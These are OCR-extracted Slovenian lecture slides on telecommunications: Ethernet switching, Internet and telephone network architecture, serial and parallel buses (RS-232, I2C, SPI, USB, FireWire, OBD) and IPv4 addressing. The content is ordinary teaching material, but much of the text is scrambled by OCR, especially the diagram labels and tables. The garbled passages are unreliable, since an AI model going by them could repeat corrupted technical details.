{ www.Itfe.org, Laboratorij za 31 )

Ethernet naslavljanje

= 48 bitni naslov MAC zapisan v formatu HEX

n sestavljen iz dveh delov: OUl in vendor assigned

= primeri naslovov OUI
= Cisco (00-60-2F-xx-xx-XxX)
= |ANA multicast (01-00-5E-xx-xx-xx)
= Tipi naslovov MAC
= unicast, multicast, broadcast (FF-FF-FF-FF-FF-FF)

3 okteti 3 okteti

bit, ki dolo€a tipa naslova: “0” - unicast, “1” - multicast oz. broadcast

broadcast

{ www.ltfe.org, Laboratorij za 32 )




| Ethernet stikalo

= Standard ANSI/IEEE 802.1D
= transparent bridge
= spanning tree
= Vzdrzuje tabelo (tabela MAC, CAM, Filtering Database) v kateri so
vnosi, ki zagotavljajo mapiranje med naslovi MAC in
posameznimi fizi€nimi vmesniki
= stati¢ni vnosi

= dinami¢ni vnosi - posamezen vnos se odstrani po izteku ¢asovnika (Ageing
Time = 300 s)
= Princip delovanja

m okvir (unicast) se posreduje samo na tista izhodna vrata, katerih naslov
MAC ustreza ciljnemu naslovu zapisanem v glavi okvirja

= Ce v tabeli MAC ni vnosa za posamezen ciljni naslov MAC se okvir (unicast)
posreduje na vse izhodne vmesnike

= okvirji, ki vsebujejo multicast in broadcast naslov se posredujejo na vse
oktivne izhodne vmesnike

[ www.Itfe.org, Laboratorij za 33 )

“ Princip delovanja stikala Ethernet

tabela MAC
ciljni naslov MAC izhodni vmesnik
111111111111 E1
2222.2222.2222 E2
3333.3333.3333 E3
4444.4444 4444 E4

MAC = 4444.4444.4444 MAC = 1111.1111.1111

www.ltfe.org, Laboratorij za i 34 )
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Omrezne naprave — L1 in L2

kolizijska
domena

broadcast
domena

stikalo

=

broadcast
domena

kolizijske
domene

kolizijske

domene

v primeru “full-duplex”
prenosa ni kolizij

{ www.ltfe.org, Laboratorij za

35 )

| Omrezne naprave L1in L2 in L3

Naprave L1 podaljSujejo/povecujejo kolizijske domene
Kolizijske domene lahko omejimo z

m premoscevalnikom (bridge)

m stikalom (switch)

= usmerjevalnikom (router)

“Broadcast” domene lahko omejimo z

m usmerjevalnikom

= VLAN

stikalo

broadcast

broadcast
domena

www.Itfe.org, Laboratorij za
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H Sodobni komunikacijski sistemi

‘ Izdelava vsebin
o) 7 \
Tokokrogovni .
& Podatkovne storitve
= o ) in Internet
. Fiksni sistemi
<&
8 Paketni
>g Paketni -
£ ]
o Va 2
o Video storitve Q
S . =
:_g )g Tokokrogovni =,
5 3 Brezzigni in @
© 'dﬁ, mobilni sistemi g
S = ’ 5]
% £ Paketni Tokokrogovni <
© Govorne storitve =1
S L \ J <
o [
] N\ o
o A =
o Analogni
s sistemi
. Poslovni procesi
6 { Digitalni }
\ J 4 - @
Dostopovna omrezja Hr icna omrezja Storitveni sistemi
‘ Nacrtovanje, upravljanje in nadzor sistemov
( www.ltfe.org, Laboratorij za ikacij 1_)
T
|
H Akterji na podroéju telekomunikacij
> g
Ponudniki
g vsebin
Regulatorni
organi
A A A
> 19 Uporabniki in
Ponudniki N porabnud
storitev R
g storitev
A A 4 4
Proizvajalci
> ..
Operaterji
g omrezij
[ www.ltfe.org, Laboratorij za ikacij 2 )
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<. 4
“eHealth &
Smart Health

networks

Vir: ITU

( www.ltfe.org, Laboratorij za 3 )

| Arhitektura telefonskega omrezja

= IX - mednarodna centrala (2)

= SX - sekundarna centrala (6), PSX (2)

» PX - primarna centrala (cca. 60)

= LC - lokalni koncentrator, tudi lokalna centrala (cca. 500)

= prikljuéene na PX ali PSX

Fiksni operaterji
OmreZje Telekoma Slovenije za mednarodni promet
Mobilni IX1 | IX1
operaterji

/ Fiksni operaterji za
/ lokalni in nacionalni
promet
X | X |
[sx] [ sx sX sX

i www.ltfe.org, Laboratorij za 4 )
T
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|l Arhitektura mobilnih in breziénih omr.

= NMT
= 1991: Komercialna uporaba omrezja NMT v Sloveniji
= ukinitev NMT omrezja 31.12.2005 s cca 40.000 narocnikov

VLR je lahko
- GSM domac ali tuj
= od 1996: Komercialna uporaba GSM 900 v Sloveniji | HLR F VLR
= arhitektura omrezja 36 1?1 35
= kartica SIM
= mobilni terminal A |4
» bazna postaja in nadzorni elementi ~10
= glavni preklopni center in prehodni elementi .,‘333
= narocniske baze in registri podatkov @
= vzpostavljanje in vzdrzevanje povezav 12
= izvajanje prehodov, roaming MST;'::ZEKO 17
. UMTS, LTE, Wimax dnmacallt;]spBCH
(FCCHISCH/BCCH)
5 i www.ltfe.org, Laboratorij za

| Internet

=~

= Milijoni hostov (kon¢nih
sistemov) outer Tkstation
n inte_r-cqpnected, na njih tecejo ﬂser‘ver‘ @é
aplikacije
= Razliéne komunikacijske
povezave
= optika, baker, radio, sateliti
= Router;ji
= Usmerjajo in forwarirajo pakete
= Internet: “omrezje omrezij”
m “loosely” hierarhiéno
= Javen

=V primerjavi s privatnim
intranetom

mobile
al ISP

network ==

i www.lItfe.org, Laboratorij za 6 )
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N Arhitektura interneta: Tier 1

= Najvedji “Tier 1” ISPji v v centru interneta, npr. MCI, Sprint,
AT&T, C&W, DT, BT nacionalno/mednarodno pokrivanje

= med sabo se obravnavajo kot enaki in enakovredni
= “roughly” hierarhi€éno

Tier-1 providers
. / also interconnect
Tug 1 ISP at public network
_ providers access points
interconnect (NAPs)
(peer)
privately

i www.ltfe.org, Laboratorij za i 7_)

N Arhitektura interneta: Tier 2

= Manjsi “Tier 2” ISPji, ponavadi regionalni ISP-ji
m so povezani na enega ali ve¢ Tier 1 ISPjev ter ve€ Tier 2 ISPjev

Tier-2 ISPs
i Iso peer
Tier-2 ISP pays also peer
tier-1 ISP for privately with
connectivity to ceach other,
intferconnect

rest of Internet af NAP

Tier-2 ISP is
customer of

[ www.lItfe.org, Laboratorij za i 8 J
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N Arhitektura interneta: Tier 3

= “Tier-3” ISPji in lokalni ISPji

= zadnji hop, “access network”

Local and tier-
3 ISPs are
customers of
higher tier
ISPs
connecting
them to rest
of Internet

i www.ltfe.org, Laboratorij za i 9 ]
T

N Arhitektura interneta: potovanje paketa

[ www.lItfe.org, Laboratorij za i 10 )
T
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Arhitektura IPTV in
radiotelevizijskih omrezij

i www.ltfe.org, Laboratorij za

streznik
RTV
postaja

Agregator
vsebine

PAL+ttx

radiodifuzno
omrezje

web

streznik

http ttx

( www.ltfe.org, Laboratorij za 12 )
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Upravljanje:

Upravijanje i
Spletni brskalnik, : 2;2t:r‘|/\kov
posebna orodja
s vsebin

o ftarifiranje
o statistika

%

Salelllsk\ programi

[ 4
Baza =)
: g : podatkoy ? *Zomelsd progran
g = E =
Spletni streznik Video streZnik Streznik za izdajanje Enkoderji
licenc DRM

v
fl;:Ltatfelt'_"‘ =

P ‘ : i -
R P . P i . .
@e TV komunikatorTV sprejemnik
P

Set Top Box

( www.ltfe.org, Laboratorij za
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Komunikacijska vodila in vmesniki

as. mag. Andrej Stern
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Uvod

s Zakaj potrebujemo vodila

m prenos podatkov med komponentami in sklopi

m prenos signalizacije med strezniki in odjemalci

m omogocéanje sinhronizacije s prenosom urinih impulzov

m ponekod tudi zagotavljanje napajanja €ez vodilo

| n

i i g
: POTNISKA| A=l |
[ KONZOLA b

Komunikacijski vmesniki in vodila www.ltfe.org, Laboratorij za telekomunikacije 2
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= Osnovne znacilnosti

| Mehanske karakteristike

m zunanje dimenzije
m potreben prostor v napravi / na ohiSju / na vodilu
= oblika - sploséeni, okrogli, DIN, SUB, CINC, JACK ...

SUB "DIN

m notranje dimenzije
m mnozica razliénih premerov kontaktov

m napajalni konektorji / napajalniki

m Stevilo prikljuékov / pinov

m zadostno Stevilo (signali, napajanje ...)

m trajnostni parametri

m Obraba, srebrenje, zaS¢éita pred vplivi

Gk o
wo SRS
N\

S
m temperaturna trdnost (spajkanje!) \
. &
m namestitev

m through-hole, SMD, matica, zati€i ... TEFLON SMD OPTIKA

¥

www.ltfe.org, Laboratorij za telekomunikacije
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| Elektricne karakteristike

Osnovne znacilnosti

m dovoljene obremenitve
m tokovna obremenitev (segrevanje)
m nhapetostna obremenitev (preboj)
m dovoljene izgube
m ohmske izgube (slabljenje)
m parazitna kapacitivnost (dolzina)
m induktivno sklapljanje (presluhi)
m impedanca
m prenosi VF signalov, odboji
m zaSc¢ita pred stiki
= M/Z konektor, menjava polaritete
m prepre€evanje stikov med vklopom

m preklop s prikljuc€itvijo konektorja

www.ltfe.org, Laboratorij za telekomunikacije
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m Druge posebnosti vodil

- - Izgube nekaterih kablov pri
DO|Z|na VOd || frekvenci 2,4 GHz [dB/m]
m narascanje dolzine povecuje negativne vplive RG 174: 1.43
= omejitve: slabljenje, kapacitivnost, induktivnost / 2?:88 :L(i’.s 36
s marsikdaj odvisno od kvalitete in izvedbe medija 1" RG 213:0,6
LMR-400: 0,22
Odpornost na motnje in elektrostatiko MNESS, B0 0.3
(= = 50003

m vodniki so izpostavljeni neposredni okolici
m moznost indukcije in hitrega zviSanja potenciala -> uni€enje naprave / modula

m galvanske lo€itve komunikacijskih naprav z opto-sklopniki

High voltages on this : ... can't damage
R . .- . o side.... : the delicate circuits on this side
m opti€ne povezave resijo veliko tezav b voc
Signal 1
- - mput 4 : 4
Kompromisi G
] E t((i):-fl\tglil{l
m cenovno razmerje med kvaliteto medija in uporabnostjo * #)"”
(9% - - o . . . — E Emitter
m uposStevanje cene in vzdrzevanje konektorjev (optika) se.| = : Inerna

GND GND

m razpolozljivi prostor (PCB, velikost kanala, upogljivost vodila)

Komunikacijski vmesniki in vodila { www.ltfe.org, Laboratorij za telekomunikacije
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| |Izvedbe vodil

Serijska (zaporedna) vodila

m prva komunikacijska vodila (5 do 8 podatkovnih bitov)

m primarna uporaba: teleprinter, terminal, ukazne konzole h‘
m danasSnja uporaba: RS-232, RS-485, USB, SATA, 12C, 12S, SPI, SMBUS, 1-WIRE

EE

m prednosti

1 1 ] 1

=

m manj tezav s sinhronizacijo in takti (prehodi)

2

m manj potrebnih povezav 0z. zic, zato mozno ve€ oklopa

SERIAL-TO-PARALLEL CONVERSION

m manj tezav s presluhi zaradi manjSega Stevila induktorjev =

al

=

Paralelna (vzporedna) vodila

E

m prvi na€in povezovanja perifernih enot

PARALLEL-TO-SERIAL CONVERSION

m uporaba: LPT/Centronics, ATA/IDE, spominska in podatkovna vodila i

m prednosti
m n-kratna kapaciteta enega samega vodila (z omejitvami)

m enostavnost izvedbe (npr. 8-bitna obdelava v CPU brez pretvorbe SER->PAR)

{ www.ltfe.org, Laboratorij za telekomunikacije 6)




m RS-232

Klasiéno serijsko vodilo
m prvo serijsko vodilo (starost ~40 let)

m RS-232 standard dolo¢a

m elektriéne karakteristike (£ 12V)

m topologijo povezovanja
m DTE-DCE (raéunalnik - modem)

m DTE-DTE (ra€unalnik - raéunalnik)

m uporabni parametri
m tipiéne hitrosti do 115.200 (1,5 M) bit/s
m dolzine povezav

m do 300 m pri 9600 bit/s
m do 45 m pri 19,2 kbit/s, 55 pF/m

Komunikacijski vmesniki in vodila

m mehanske lastnosti konektorjev in razpored pinov

m uporabna 2 tipa: starejSi DB25 in “novejSi” DB9

Pin 1

Data Carrier
Detect (DCD)

(ot used)

Pin 6
Data Set
Ready (DSR)

Pin 2
Receive Data

R

o)

(not used)

+16V i
Predpis 4

LsSB

IV d e (e e -

Start bo bl

gV e o mewm o

12/

0

bz

Idle

-16V

[

Fin7

Pin3

Transmit
Data (TD)

Request to
Send (RTS)

f’ Sp

1

b3

odr

Fin 8

Pin 4

Data Terminal

Ready

(OTR)

(not used)

Ringing Indicator (RI)
{not used)

Clear to Send
(CTS)

ER]

0

nejs

1

Time

bs

-

b6

Stop

Stop

Space

Idle

——
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m RS-232 signali

Primer: prenos ¢rke “J”

RS232 Transmission of the letter \J'

m znak J je na 112. mestu v ASCII tabeli
= 112 (DEC) = 01001010 (BIN) —
m posiljanje najprej z LSB
e AN G 0 I N O R i 6 o o o o o
=T : : : : : : : : : : : Logic valk 1] E 1 o] 1 o] : o 1
- : . bbrnjeno 01001010
! "t
Signal levels at the UART output pin : . Sto blt
Start bit Pariteta P
o Asinhrono vodilo liho St. enic =1
; sodo St. enic =0
i | (nima dodane linije ure)
- Osnovna nastavitev (8,N,1)
Baud 9600
. Data bits 8
: Signal leveks at the Transceiveroutput pin : Parity None
_____I _____________ Stop bits 1
. DLEJ'EWTEDBIBZMHMEEEWP'L _____________ { www.ltfe.org, Laboratorij za telekomunikacije 8
1




| Prikljucevanje RS-232 na MCU

Spostovanje napetostnih nivojev
m mikrokontrolerji (MCU) tipiéno uporabljajo 3,0-3,3 ali 5V nivoje
m pretvorba na x£12V nivoje s standardiziranimi pretvorniki MAX

m problem: vrata RS-232 ne zagotavljajo napajanja vezja

m reSitev: uporaba “odve€nih” signalnih linij za napajanje

Uporaba USB-SER pretvornikov

m ustvarjanje navideznih vrat . A
.i m‘nm D3
= napajanje iz USB (MM232R) o vk B 1 T v L
4N551525 1B woo g Elt= —]
> -
vee {5 v- cer 41— b5 O
16U Pt | ——
—I_ = (1:3:"4— TIOUT THIN ]
18Y 7 | raour  ToIn 2 MIC__:
cTse 18dR1IN RI0oUT B SGN | M
o, 8 |l ga1n fReouT B
CLELZM HT 1) _:l
®0 % - U;K-'N McU il Hlxeaa?isaw [FFIX —]
ul? .11 - FTx :
®6s " S BLE

— HNCHIA E11@

www.ltfe.org, Laboratorij za telekomunikacije
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| RS-485 In RS-422

- .- . Typical R5-422 Wiring Typical 2-Wire R5-485 Wiring
= |Industrijsko serijsko vodilo e .
] N Host RX-O————@1—0TX- . Host ©© ¥ O% Device 1
m komunikacija TX+0 $-—ORX+ "o o
TE- O ORX- Device 2
s RS-422 je tipa toéka-toéka (kot RS-232) L orxs [
. . —OTX- Device 2 Device 3
m RS-485 je povezava tipa toc¢ka-veé to€k —oRx (stc)
m diferencialni prenos z uporabo parice %’ % %’
o )
= 2-in 4-7iéna vodila za FDX, HDX ,  Mak o @ Mk Spacex © Mark  Mark
m povezovanje do 10 (32) naprav ldle % 110010112 Ide
m hitrosti - ©

m 10 Mbit/s do razdalje 10 m
m 100 kbit/s na razdalji 1200 m

m uporaba RS-422/485

m prenos podatkov med razli€énimi napravami v proizvodnji

m izhodi iz merilnikov, ki zahtevajo dolge prenosne poti S
g Converter

Model: 485C

m podaljSevanje RS-232, izhodi na optiko

www.ltfe.org, Laboratorij za telekomunikacije 10
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Paralelno vodilo na PC

: 25 — @ e [paper nd
Lastnosti oy 3 e AR
. _ _ _ _ _ 1 —eg 11
= prvotni priklop tiskalnikov na PC (LPT - Line Printer Terminal) i;—88 :75
18 —.._ L ta Out
. . . . . SEUN1T«—a@ @l U
m uporaba 25-pin D-sub in 36 pin Centronics konektorjev crin 1o g @3 L
AUTOF 1d4— @ g 7" stroee
m 8-bitno podatkovno vodilo z ve€ kontrolnimi signali
; ) ) L DB-25 AVR B-pin ISP
m izhodi: Strobe, Linefeed, Initialize, Select In Printer port Optera e s
He [Schattky
m vhodi: ACK, Busy, Select, Error, Paper Out oo S Miso 1
. . . G—c [ Il j—
= hitrosti do 150 kbit/s Tt p>r] |/RESET %2
m dolzina kabla do 3,6m (presluhi med Zicami) SCKl yos)
m +5V / 0V napetostni nivoji (moznost napajanja) zg GND

Krmiljenje posameznih pinov
m |ptlData = 0x378, IptlStatus = 0x379, IptlControl = 0x37a
m |pt2Data = 0x278, Ipt2Status = 0x279, Ipt2Control = 0x27a
m |pt3Data = 0x3bc, Ipt3Status = 0x3bd, Ipt3Control = 0x3be

{ www.ltfe.org, Laboratorij za telekomunikacije 11)
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Krmiljenje

m namenjeno predvsem alfanumeriénim zaslonom

Paralelni vmesniki za zaslone LCD

m 4- ali 8-bitno z dodatnimi signalnimi pini

m vnaprej dolo€éen nabor znakovne tabele

m moznost dodajanja lastnih 8 znakov (0-7)

Torer ]
Lo | 0000 | 0001

0010 (0011 (0100 (0701|0110 | 0111

1000

10m

1010 | 1011 | 1100 | 1101

=
=

1mm

o ®] | P[P mEE R
s [0 | [ T[T &[] | o [P[F[G]E]q
s o || 1| 2| B[R [1] A< ea8
oo | 0] H[BICDC[S] | [1[ATEE =
wocs| 0| (F[GDITIAL] | [ [T[FP[p0
A SR [AF1=]0)
w0 | [R[GFIV] [ FAIZEpE
won || " PGS | |Z[FR[Zgm
w0 |G [BHE =] | [« [D[FW]r
a0 | [A[FTY[102] [ [=[T[JIL["" Y
weoc o | H[EI[ZLd]Z] | |Z[AM]j#
=eonw| [+ KL [K[E] | [#[]EO}* R
s | | [ LIF[LT] | |#Z]22¢/A
soed 101 (6)‘ _|=|I"1| ] ‘r"l‘ }| J.|R|ﬁ"'|-_-' t o
AN NI E b delly

I PN i I = T Pl =] |

WO N RN

Krmilnik HD44780

Ground

VCC (+3.3 to +5V)
Contrast adjustment (VO)

Register Select (RS). RS=0: Command, RS=1: Data
Read/Write (R/W). R/W=0: Write, R/W=1: Read
Clock (Enable). Faling edge triggered

Bit 0 (Not used in 4-bit operation)

Bit 1 (Not used in 4-bit operation)

Bit 2 (Mot used in 4-bit operation)

Bit 3 (Not used in 4-bit operation)

Bit 4

Bit 5

Bit &

Bit 7

Backlight Anode (+)
Backlight Cathode (-)

——
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12C

i

A} Wdd
= Inter-IC bus — | Hp,’ —— SDA
| | S— - 1 | SCL
m topologija ucC ADC DAC uC
m skupno deljeno 2-ziéno serijsko vodilo Master || Slave || Slave || Slave

m redka uporaba, kjer je omogoé€enih ve€ gospodarjev

m uporaba “pull-up” uporov, napetost nivojev ni doloéena

m komunikacija
m gospodar vodi komunikacijo (posSiljanje START/STOP)
m naslavljanje naprav s 7-bitnim naslovom (doloéen)

m zadnji bit oznaéuje pisanje (0) ali branje (READ/WRITE)

m hitrosti

Fam

T 8 1 Vee

23 7 [ sawout
3g 6scL
4 5[spA

PDIP (300 mils)

| p O S e b n O St I i Multiplexers

controllers Wk s
processors DL

m uporaba “razvleéene” linije SCL za nadzor pretoka

Vecs

= standard: 100 kHz, hiter: 400 kHz, zelo hiter: 3,4 MHz

_
= N e i

. Ti solution

m standard SMBus - delno zdruzljiv, a strozji standard w L

LCD

driver

RTC and Temperature
calendar SEensors

Komunikacijski vmesniki in vodila r
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| Tipicna uporaba vodil 12C

= Primeri uporabe

m |2C elementi
m Siritveno mesto I/O
m multiplekser, stikalo

m ponavljalniki, razdelilniki

m |2C senzorji

m /O enote

m krmiljenje po€asnega LCD

= Prikljucitev na PC
m uporaba USB-12C modulov

m temperatura, tlak, pospesek f‘

m bralnik multipleksa tipkovnice

Temperaturs e
aofl+ ~ 16 Tv.. expscL1 [t~ 20 vee
Diode
i e ) a1[]z 15[] spa ExPsCLZ []2 18]] EXPSDAZ
sCL O— ;’:’r“alzr logic | [ = SDA a2[ls i scLo [z 18]l EXPSDAA
PO[]4 13 THT sDan [ 17[] EN4
pills  12flpr scL1lls 18]l sDad
I - R I r2(ls [ ps spal[]e 15]] SCL4
GND O] AD In‘;;ﬂe — ADDO Pa[l7 10l ps ENT[}7 14]] EN3
o 4ie, GND[|e o] pa scL2 s 13]] sDA3
soaz o 12|l scLa
GMD [0 1[ENZ2
3 Config 4
ALERT (O— 0sC and Temp| [ W+
Reglster
TMPIO o
[}
} a
il
Lig1
IpF,
= ; Iﬁz HTAL1  [RESETIPES |— 2 B3 B2
0 == £ [ PO [IMTOIFE2 ; == D,;:_
2 +(AIMTIPE =1 ]
;ngF r:-1h2 YCC . [AINDPED | — | Faps = ‘%ﬁ %
A 0 SRR o —
G%D IS 1 10uF; -
GRD GHD yoonF
(] (]
(] (]
= =
Fid, a A5, @
JF1
10k, 10K, a
1
s0L = L_{zol‘)
l S04, B
. 3

m primer na: http://www.harbaum.org/till/i2c_tiny usb/index.shtml

m Atmel USB sklad AVR-USB

——
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D+

m hitrosti
m Sirok razpon hitrosti od 1 do 70 MHz
m vmesniki za Ethernet, USB, USART, CAN, IEEE 802.15.4, IEEE 802.11

branje spomina, pisanje po zaslonu

ChipSelect*

m A/D pretvorniki in drugi senzorji )

- - SCLK | SCLK
Serial Peripheral Interface Bus o Mosi b MOSI  sPl
. . Master 85 » S5
m komunikacija o [
| SCLK
m pohitrena razli€ica I2C s podobno topologijo M Mosl o
m skupno deljeno stiri-ziéno vodilo, mogo€ samo en gospodar gl
m enosmerni podatkovni kanali MOSI in MISO s e
. . - - . MISO Sla
m naslavljanje s pomo¢€jo SS (Slave Select) oz. CS (Chip Select) > §8 -

-

m dostop do kartic MMC in SD

m posebnosti

VYV VUV VUV VU
m Stevilo klientov doloéa Stevilo CS _/—\_/_\\_/—\_1,_\' a—Lj_

Komunikacijski vmesniki in vodila www.ltfe.org, Laboratorij za telekomunikacije 15




USB

Universal Serial Bus 2= e e e a0 12

m topologija: zvezda, podaljSana v drevo (ve€ nivojska zvezda) = 3z s
ype ype

m do 5 nivojev globine vozlisé (angl. root hub, sharing hub) cant .
m vsako vozliSée vsebuje vsaj en kontroler USB naprav 'Ff'
1ni- ini

m vsak kontroler skrbi za vsaj 1 napravo, najveé 127 (7-bit + 0) !
. 54321 I .
m povezovanje l
Micro-AB |
m cevi (angl. pipes) - logi€éna povezava od SW v gostitelju do konéne to¢ke

m konéna to¢ka (angl. endpoint) - logi€en naslov ene funkcionalnosti v napravi USB
m zacetno naslavljanje (inicializacija, seznanjanje) se vrSi s kon€éno to€ko 0
m PnP, odkrivanje in preverjanje prisotnosti naprav
m dolzina kabla do 5 metrov (STP, prenos D+ in D-)
m daljSe povezave uporabljajo aktivne repetitorje
m najvisSje hitrosti
= v1.1(1,2/12 Mbit/s), v2.0 (480 Mbit/s), v3.0 (4,8 Gbit/s)

m moznost napajanja 100 mA in 500 mA @ 5V = 5%

Komunikacijski vmesniki in vodila r www.ltfe.org, Laboratorij za telekomunikacije 16




Uporaba vodil USB

Priklju€evanje naprav
m vecina naprav podpira USB samo navidezno

m uporaba USB pretvornikov na razli€na druga vodila

m nhajveckrat RS-232 z navideznimi vrati COMnn

m povezava PC-PC I~

A B
m enostavna povezava l-na-1 z obraéanjem linij D+ in D- ni mogoéa N N :
!

m uporaba posebnih vmesnikov z navideznimi odjemalci gﬁ . ,
= namestitev gonilnikov S @

m za navidezno omrezno povezavo, deljenje datotek in periferije ...

m zmogljivost enega kontrolerja USB

host controller

|

m vsak “master” ima omejeno Stevilo povezav

m nekatere naprave (npr. HDD) zavzamejo ve€ konénih toék

Iogical pipes

m primer USB2SER (3x): vhodni tok, izhodni tok, signalna povezava

T—_enapnints n
1he fevics

m problem pri “enostavnih” sistemih, npr. WLAN - usmerjevalnik

device

——
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m FireWire

IEEE 1394 FireWire

E Namen

m prikljuéitev perifernin naprav na osebne ra€unalnike

m prenos digitalnih avdio in video signalov

m zanesljiva komunikacija v letalski in avtomobilski industriji /~% 7 >
] (CE20 | [
m topologija N5 3 1

4321

m povezovanje enakovrednih naprav (P2P) Sopin pin Euﬂﬁmw
wer (~
. .- . - . 2 Ground
m drevesno-verizna topologija z najve¢ 63 napravami 3 1 Twisted pair B- (send data)
4 2 Twisted pair B+ (send)
- aas - - 5 3 Twisted pair A- (receive data)
m najvisje hitrosti 6 4  Twisted pair A+ (receive)

= FW 400 (400 Mbit/s, do 4,5 m), FW 800 (800 Mbit/s do 100 m), S3200 (3,2 Gbit/s)
1 iy g — :
m posebnosti > QES

= manj obremenjuje CPU rac¢unalnika
m omogoca bolj konstanten prenos od USB

m omogoca > 40 W moci (1,5A @ 30V)

Komunikacijski vmesniki in vodila

——
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mOBD 1

On-Board Diagnhostics

m avtomobilski vmesnik za spremljanje in poro¢anje okvar

m spremljanje izpusta okoljskih emisij
m shranjevanje in resetiranje odstopanj od za€rtanih parametrov

m razbere, kategorizira in shrani napake v delovanju motorne elektronike

m belezi delovanje motorja v doloéenem ¢éasovnem obdobju (tudi v realnem ¢€asu)

m tudi aktiviranje dodatne opreme v vozilu, moznost pove€anja mo¢€i in navora

Ground 1s09141-2
4 4 _ 5014230
| — .

m uporaba standardiziranih 5 protokolov _
2
SAE J1850 PWM, pin: 2, 10, +5V (Ford) \
SAE J1850 VPW, pin: 2, +7V (GM) =
SAE J1850 CAN
s 1SO 9141-2, pin: 7=K-line, 15=L-line, kot RS-232 (EU) 12V
m |SO 14230 KWP, pin: 7=K-line, 15=L-line, (EU)

m ISO 15765 CAN, pin: 6, 14

Komunikacijski vmesniki in vodila

——
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| Zakljucek

= Kje vse najdemo vodila

m Kjer je elektronika, so tudi komunikacije

m komunikacija = aplikacija + protokoli + vmesniki + medij
= Trendi

m VviSanje stopnje integracije, hitre serijske povezave

m Vvse ve€ ve€predstavnosti, nizke zakasnitve, prioritete

m varnost, zanesljivost in robustnost

----------------------------------

,,,,,

T
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LFE

Telekomunikacie in informaciske Tehnologie
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

e

Osnove IP

——
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OSI| Referencni model

Omrezni I«

Povezavni I*

Aplikacijski |«
?
Predstavitveni I«
P
Sejni I« .........
P
Transportni |~
h g

Logi€éna komunikacija

h g
Fiziéni ...................... » FiZiéni
$ I“ 4 $ I“ $

............ 4 Omreini I

------------ 4 Povezavni

»  Aplikacijski | i

P .
» Predstavitveni I |
?
. Sejni I

~| Transportni I

elioe)yiunwoy euizi4

h <

Prenosni medij

——,
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IP protokoli sklad




 Primerjava OSl in TCP/IP modela

s OSI sklad je bolj sistematiCen in konceptualen
= Plasti sklada IP niso strogo definirane in lo€ene med seboj

s OSI sklad je zgolj referencni model in nikoli ni v celoti
“zazivel”

OSI TCP/IP

L7 | Aplikacijski Aplikacijski \ '''' ITe|net' FTP 'HTTP'

L6 | Predstavitveni
L5 | Sejni

L4 | Transportni Transportni |

L3 | Omrezni I Omrezni I
L2| povezavni I
1 E‘ Rac./omrezj LAN WLAN

( www.ltfe.org, Laboratorij za telekomunikacije
T
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ﬂ Omrezne storitve v internetnih sistemih

= Naslavljanje
= Prenos

s Zagotavljanje kakovosti storitev

= Varnostne storitve

= Avtentikacija, avtorizacija in belezenje
= Mobilnost

= Navidezna (virtualna) zasebna omrezja

——
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| Lastnosti protokola IP

Nepovezaven protokol omreznega sloja
Izvaja
m naslavljanje, usmerjanje ter krmilne funkcije

Komuniciranje z najboljsim moznim uspehom (“best effort”)
m ne vkljuCuje mehanizmov za odpravo napak (zgolj obvesca)

Ne zagotavlja vrocCitve naslovniku
m to nalogo prepusca visjim slojem (npr. TCP)
Vsak paket v glavi nosi izvorni in ciljni naslov

Usmerjanje se za vsak paket izvrsi v vsakem vozliscu
posebej, neodvisno od ostalih paketov istega podatkovnega
toka

Neodvisen od tehnologij fiziCnega in povezavnega sloja
Dominanten protokol omreznega sloja
Standardizacija v IETF

——
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| Naloge protokola IP

= Prenos podatkov prek omrezja
= Usmerjanje datagramov med mreznimi povezavami
= Fragmentacija in defragmentacija

m prilagajanje velikosti podatkovnih enot razli€nim fizi€nim omrezjem
= Javljanje v primeru napak
= Ustvari logicno omrezje

m logi¢no naslavljanje mreznih povezav

Logiéno omrezje
192.168.1.0/24

Logi¢éno omrezje
192.168.3.0/24

Fizicno omrezje 1
Ethernet

Logiéno omrezje Fizicno omrezje 2
ATM

192.168.2.0/24

[
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Pomen omreznega nivoja

usmerjevalniki

strezniki
LOGIENO
OMREZJE
omreina pavezava

PC nosilne

terminalska = Etﬂ.rlhre

oprema satelitska

PSTN omreija

g fizifna powezava SDN  FR
prenosnik GSM ATM, SDH FIZICNO
GsM - - OMREZJE
opticha omreZja

interaktivna
E 1~

[
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i Glava paketa IPv4

0 4 8 16 24 31

Source address

Destination address

Options Padding

( www.Itfe.org, Laboratorij za telekomunikacije 9 |
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| Polja v glavi paketa IPv4

Version
m verzija protokola IP

IHL (Internet header length)

m dolzina glave v nx32 bit, tipi¢éno
n=>%

Type of service

m  mehanizmi, ki bi lo¢evali
posredovanje datagramov

Total length

m celotna dolzina IP datagrama

Identification

m identifikacija datagrama za
podporo de/fragmentaciji

Flags
m uravnavanje de/fragmentacije

Fragmentation offset

m doloéa pozicijo podatkov iz
datagrama v orig. sporocilu

TTL (Time To Live)

m “Zivljenjski ¢as” datagramov z
preprec¢evanje neskonénega
krozenja v zankah

Protocol

m oznaka protokola viSjega nivoja
(TCP, UDP, ICMP, EGP, OSPF)

HCS (Header Check Sum)

m za detekcijo napak v glavi

Source/Destination Address

m cilj izvorne in ponorne mrezne
povezave

Options
m debugging, meritve

Padding

m dopolnjevanje velikosti glave pri
poljih spremneljive dolzine

——
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m IP naslavljanje

32-bitni IP naslov

m omrezni del + naslov naprave

Razlicni razredi naslovov
m AB,C,D,E

m uhicast, broadcast, multicast
Podomrezja (subnet)

m tip razreda dolo€a stevilo racunalnikov v posameznem omrezju

m razredi so veliki, zato jih razdelimo na manjse dele

Network 1D

Host 1D

Subnet 1D

Host [D

——
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i Maska podomrezja

= IP naslov: 132.72.15.4

= maska: 255.255.255.0
Network ID Subnet 1D Host 1D
A A

s N A N ™)
IP Address | 1| 0| 0| 0|1 ol1|olo|l1lo|lolo olof1 1tlolojolo|ol1]o]0

01 15 23 31
Hex Mask FF FF FF FF FF FF 0000
Dotted Decimal 255 255 255 0

——
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| Tipi naslovov IP

Network

Naslovi naprav ne S

more.o imeti Samih 0 00001010 00000000 00000000

ali1 v delu za 10 0 0

naS|aVIjanje napraV! 00001010 00000000 00000000
10 0 0

00001010 00000000 00000000

Maska podomrezja: 255.255.255.0

= Omrezni naslov — naslov, ki se nanasa na omrezje

m same 0 v delu za naprave

= Broadcast naslov — poseben naslov, ki se uporablja za posiljanje
podatkov vsem napravam v omrezju

m same 1 v delu za naprave
= Naslov naprave — naslov namenjen kon¢ni napravi v omrezju

{ www.ltfe.org, Laboratorij za telekomunikacije
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| Omrezni naslovi

Omrezne povezave

m z istim mreznim naslovom naj komunicirajo po istem fizi€nhem

omrezju (npr. LAN, lo¢ene so lahko samo s premoscevalniki ali
repeater;ji)

